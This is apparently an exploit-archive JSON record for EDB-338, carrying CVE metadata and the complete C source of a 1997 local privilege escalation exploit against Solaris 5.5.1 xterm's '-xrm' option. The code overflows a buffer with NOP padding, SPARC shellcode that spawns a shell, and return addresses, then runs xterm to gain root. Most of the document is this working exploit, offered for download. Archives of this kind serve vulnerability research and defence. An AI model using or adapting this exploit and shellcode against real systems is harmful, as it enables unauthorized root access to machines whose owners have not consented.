{"exploit":{"id":"EDB-338","name":"Sun Solaris 5.5.1 X11R6.3 - xterm '-xrm' Local Privilege Escalation (LPE)","description":"Sun Solaris 5.5.1 X11R6.3 - xterm '-xrm' Local Privilege Escalation (LPE)","cves":["CVE-1999-0126"],"author":"David Hedley","published":"1997-05-28","platform":"solaris","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/338","path":"exploits/solaris/local/338.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-338.c","vulnerabilities":[{"id":"CVE-1999-0126","state":"PUBLISHED","title":null,"titleSource":null,"description":"SGI IRIX buffer overflow in xterm and Xaw allows root access.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-1999-0126","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-1999-0126"},"updatedAt":"2024-08-01T16:27:57.710Z","retrievedAt":"2026-11-26T13:05:43.196Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-338.png?v=2","url":"https://exploitbin.com/exploits/EDB-338","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-338/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-338/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * X11R6.3 xterm exploit for solaris 5.5.1 by DCRH 28/5/97\n *\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n\n#define EXTRA2 1300\n#define BUF_LENGTH 400\n#define EXTRA 500\n   /* Need an addr such that contents of addr+0xe98 = 0 */\n#define SAFE_ADDR ((unsigned)0xefff2008)\n#define STACK_OFFSET 0x4800\n#define SPARC_NOP 0xa61cc013\n\nu_long sparc_shellcode[] =\n{\n    0x2d0bd89a, /* sethi  %hi(0x2f626800), %l6  */\n    0xac15a16e, /* or  %l6, 0x16e, %l6          */\n    0x2f0bdadc, /* sethi  %hi(0x2f6b7000), %l7  */\n    0xae15e368, /* or  %l7, 0x368, %l7          */\n    0x900b800e, /* and  %sp, %sp, %o0           */\n    0x9203a00c, /* add  %sp, 0xc, %o1           */\n    0x941ac00b, /* xor  %o3, %o3, %o2           */\n    0x9c03a014, /* add  %sp, 0x14, %sp          */\n    0xec3bbfec, /* std  %l6, [ %sp + -20 ]      */\n    0xc023bff4, /* clr  [ %sp + -12 ]           */\n    0xdc23bff8, /* st  %sp, [ %sp + -8 ]        */\n    0xc023bffc, /* clr  [ %sp + -4 ]            */\n    0x8210203b, /* mov  0x3b, %g1               */\n    0x91d02008, /* ta  8                        */\n    0xffffffff, /* illegal                      */\n};\n\nu_long get_sp(void)\n{\n    asm(\"mov %sp,%i0 \\n\");\n}\n\nchar buf[BUF_LENGTH + EXTRA + EXTRA2 + 8];\nchar longvar[0x4000] = \"BLAH=\";\n\nvoid main(int argc, char *argv[])\n{\n    char *env[2];\n    unsigned long targ_addr;\n    u_long *long_p;\n    int i, code_length = sizeof(sparc_shellcode),dso=0;\n\n    if(argc > 1) dso=atoi(argv[1]);\n\n    long_p =(u_long *) buf;\n\n    for (i = 0; i < EXTRA2 / sizeof(u_long); i++)\n        *long_p++ = (SAFE_ADDR >> 8) | (SAFE_ADDR << 24);\n\n    targ_addr = get_sp() - STACK_OFFSET - dso;\n    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)\n        *long_p++ = SPARC_NOP;\n\n    for (i = 0; i < code_length / sizeof(u_long); i++)\n        *long_p++ = sparc_shellcode[i];\n\n    for (i = 0; i < EXTRA / sizeof(u_long); i++)\n        *long_p++ = targ_addr;\n\n    printf(\"Jumping to address 0x%lx B[%d] E[%d] SO[%d]\\n\",\n           targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);\n\n    /* This is just to shove the stack down a bit */\n    memset(&longvar[5], 'a', sizeof longvar-6);\n    longvar[sizeof longvar -1] = '\\0';\n    env[0] = longvar;\n    env[1] = NULL;\n\n    execle(\"./xterm\", \"xterm\", \"-xrm\", buf,(char *) 0, env);\n    perror(\"execl failed\");\n}\n\n// milw0rm.com [1997-05-28]","sha256":"380425c4a406fbe3cba61856dd386351b9b38d93ec1458340613dab54df4c186","bytes":2374,"fetchedAt":"2026-11-26T13:05:42.051Z","encoding":"utf-8 (display only; download retains original bytes)"}